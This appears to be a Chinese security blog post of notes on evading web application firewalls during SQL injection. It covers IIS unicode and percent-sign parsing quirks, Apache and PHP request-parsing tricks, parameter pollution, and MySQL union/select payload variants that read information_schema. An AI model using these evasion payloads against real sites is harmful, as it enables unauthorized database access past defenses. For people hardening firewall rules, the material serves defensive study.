WAF Bypass 笔记(SQL注入篇)
0x01 背景
waf Bypass 笔记
0x02 服务器特性
1、%特性(ASP+IIS)
在asp+iis的环境中存在一个特性,就是特殊符号%,在该环境下当们我输入s%elect的时候,在WAF层可能解析出来的结果就是s%elect,但是在iis+asp的环境的时候,解析出来的结果为select。
Ps.此处猜测可能是iis下asp.dll解析时候的问题,aspx+iis的环境就没有这个特性。
2、%u特性(asp+iis和aspx+iis)
Iis服务器支持对于unicode的解析,例如我们对于select中的字符进行unicode编码,可以得到如下的s%u006c%u0006ect,这种字符在IIS接收到之后会被转换为select,但是对于WAF层,可能接收到的内容还是s%u006c%u0006ect,这样就会形成bypass的可能。
3、另类%u特性(ASP+IIS)
该漏洞主要利用的是unicode在iis解析之后会被转换成multibyte,但是转换的过程中可能出现: 多个widechar会有可能转换为同一个字符。 打个比方就是譬如select中的e对应的unicode为%u0065,但是%u00f0同样会被转换成为e。
s%u0065lect->select
s%u00f0lect->select
WAF层可能能识别s%u0065lect的形式,但是很有可能识别不了s%u00f0lect的形式。这样就可以利用起来做WAF的绕过。
测试情况:
s%u0045lect = s%u0065lect = %u00f0lect
u --> %u0055 --> %u0075
n -->%u004e --> %u006e
i -->%u0049 --> %u0069
o -->%u004f --> %u006f -->%u00ba
s -->%u0053 --> %u0073
l -->%u004c --> %u006c
e -->%u0045 --> %u0065-->%u00f0
c -->%u0043 --> %u0063
t -->%u0054 -->%u0074 -->%u00de -->%u00fe
f -->%u0046 -->%u0066
r -->%u0052 -->%u0072
m -->%u004d -->%u006d
4、apache畸形method
某些apache版本在做GET请求的时候,无论method为何值均会取出GET的内容,如请求为的method为DOTA2,依然返回了aid为2的结果。
php+apache畸形的boundary Php在解析multipart data的时候有自己的特性,对于boundary的识别,只取了逗号前面的内容,例如我们设置的boundary为----aaaa,123456,php解析的时候只识别了----aaaa,后面的内容均没有识别。然而其他的如WAF在做解析的时候,有可能获取的是整个字符串,此时可能就会出现BYPASS。
0x03 应用层特性
1、变换请求获取方式
GET/POST/COOKOE
2、畸形请求方式
3、HPP参数污染
HPP是指HTTP参数污染。形如以下形式:
?id=1&id=2&id=3的形式,此种形式在获取id值的时候不同的web技术获取的值是不一样的。
假设提交的参数即为:
id=1&id=2&id=3 Asp.net + iis:id=1,2,3
Asp + iis:id=1,2,3
Php + apache:id=3
0x04 数据库特性
1、MYSQL
第一:参数和union之间的位置
(1):\Nunion的形式:
select * from admin where username=\Nunion (select 1,(select schema_name from information_schema.SCHEMATA limit 0,1))
(2):浮点数的形式如1.1,8.0
select * from admin where username=1.1union (select 1,(select schema_name from information_schema.SCHEMATA limit 0,1))
(3):8e0的形式:
select * from admin where username=8e0union (select 1,(select schema_name from information_schema.SCHEMATA limit 0,1))
(4): 利用/*!50000*/的形式
select * from admin where username=1/*!50000union*/(select 1,(select schema_name from information_schema.SCHEMATA limit 0,1))
第二:union和select之前的位置
(1)空白字符
Mysql中可以利用的空白字符有:%09,%0a,%0b,%0c,%0d,%a0;
id=1%23%0aunion select 1,2
(2)注释使用空白注释
MYSQL中可以利用的空白字符有:
/**/
/*letmetest*/
3)使用括号
select * from admin where username=8e0union(select 1,(select schema_name from information_schema.SCHEMATA limit 0,1))
第三:union select后的位置
(1)空白字符
Mysql中可以利用的空白字符有:%09,%0a,%0b,%0c,%0d,%a0;
(2)注释
使用空白注释
MYSQL中可以利用的空白字符有:
/**/
/*letmetest*/
最后
欢迎关注个人微信公众号:Bypass--,每周原创一篇技术干货。

 WAF Bypass 笔记(SQL注入篇)的更多相关文章
- Bypass ngx_lua_waf SQL注入防御(多姿势)
		0x00 前言  ngx_lua_waf是一款基于ngx_lua的web应用防火墙,使用简单,高性能.轻量级.默认防御规则在wafconf目录中,摘录几条核心的SQL注入防御规则: select.+ ... 
- [转载] 我的WafBypass之道(SQL注入篇)
		我的WafBypass之道(SQL注入篇) Web安全 作者:先知技术社区 2016-11-23 7,566 [本文转自安全脉搏战略合作伙伴先知技术社区 原帖地址 安全脉搏编辑huan97 ... 
- 23. Bypass ngx_lua_waf SQL注入防御(多姿势)
		0x00 前言 ngx_lua_waf是一款基于ngx_lua的web应用防火墙,使用简单,高性能.轻量级.默认防御规则在wafconf目录中,摘录几条核心的SQL注入防御规则: select.+(f ... 
- Web安全学习笔记 SQL注入下
		Web安全学习笔记 SQL注入下 繁枝插云欣 --ICML8 SQL注入小技巧 CheatSheet 预编译 参考文章 一点心得 一.SQL注入小技巧 1. 宽字节注入 一般程序员用gbk编码做开发的 ... 
- Web安全学习笔记 SQL注入中
		Web安全学习笔记 SQL注入中 繁枝插云欣 --ICML8 权限提升 数据库检测 绕过技巧 一.权限提升 1. UDF提权 UDF User Defined Function,用户自定义函数 是My ... 
- sql注入篇2
		一.前言 上一篇:sql注入篇1 二.基于回显的注入类型判断 1.有结果的注入 例如下图: (sqlllab less-1)可以看到有正常结果返回,对于的利用方式就是老套路了,先order by查询出 ... 
- sql注入篇1
		一.前言 学习了感觉很久的渗透,总结一下sql注入,系统整理一下sql注入思路. 二.关于sql注入 所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到 ... 
- Java审计之SQL注入篇
		Java审计之SQL注入篇 0x00 前言 本篇文章作为Java Web 审计的一个入门文,也是我的第一篇审计文,后面打算更新一个小系列,来记录一下我的审计学习的成长. 0x01 JDBC 注入分析 ... 
- Web安全学习笔记 SQL注入上
		Web安全学习笔记 SQL注入上 繁枝插云欣 --ICML8 SQL注入分类 SQL注入检测 一.注入分类 1.简介 SQL注入是一种代码注入技术用于攻击数据驱动的应用程序在应用程序中,如果没有做恰当 ... 
随机推荐
- ViewPager一屏显示多个item,及边缘滑动事件优化
			关于ViewPager显示两边的item方法,网络上是方法都在ViewPager外包一个Layout, 然后设置ViewPager和外面的Layout的clipChildren="false ... 
- OAuth 授权
- Java HashSet和HashMap源码剖析
			转自: Java HashSet和HashMap源码剖析 总体介绍 之所以把HashSet和HashMap放在一起讲解,是因为二者在Java里有着相同的实现,前者仅仅是对后者做了一层包装,也就是说Ha ... 
- 【转】]Android实现开机自动运行程序
			有些时候,应用需要在开机时就自动运行,例如某个自动从网上更新内容的后台service.怎样实现开机自动运行的应用?在撰写本文时,联想到高焕堂先生以“Don't call me, I'll call y ... 
- MySQL 数据库 varchar 到底可以存多少个汉字,多少个英文呢?我们来搞搞清楚
			一.关于UTF-8 UTF-8 Unicode Transformation Format-8bit.是用以解决国际上字符的一种多字节编码. 它对英文使用8位(即一个字节) ,中文使用24位(三个字节 ... 
- (笔记)Mysql命令delete from:删除记录
			delete from命令用于删除表中的数据. delete from命令格式:delete from 表名 where 表达式 例如,删除表 MyClass中编号为1 的记录: mysql&g ... 
- git patch 使用
			使用git的时候,需要删除几个id,会对到之前的代码,但又想保留现在的代码,以便后面从新合并,所以就将现在的代码打包成patch,留到下次合并. 参考链接 http://www.jianshu.com ... 
- Java如何检查线程是否停止?
			在Java编程中,如何检查线程是否停止? 以下示例演示如何通过使用isAlive()方法来检查线程是否已停止. // from W w w .Y I I b AI.c o M package com. ... 
- 一款标注颜色,距离的小软件  markman
			长度标记 坐标和矩形标记 色值标记 文字标记 长度自动测量 标记拖拽删除 支持多种图片格式 支持PSD(需用最大兼容保存).PNG.BMP.JPG格式 设计稿自动刷新 在标注的 ... 
- memcached系列之
			Slab Allocator的机制分配.管理内存 slabs---->slabs class:chunk size------>申请内存后分配的规格. chunk-->存放记录的单位 ... 
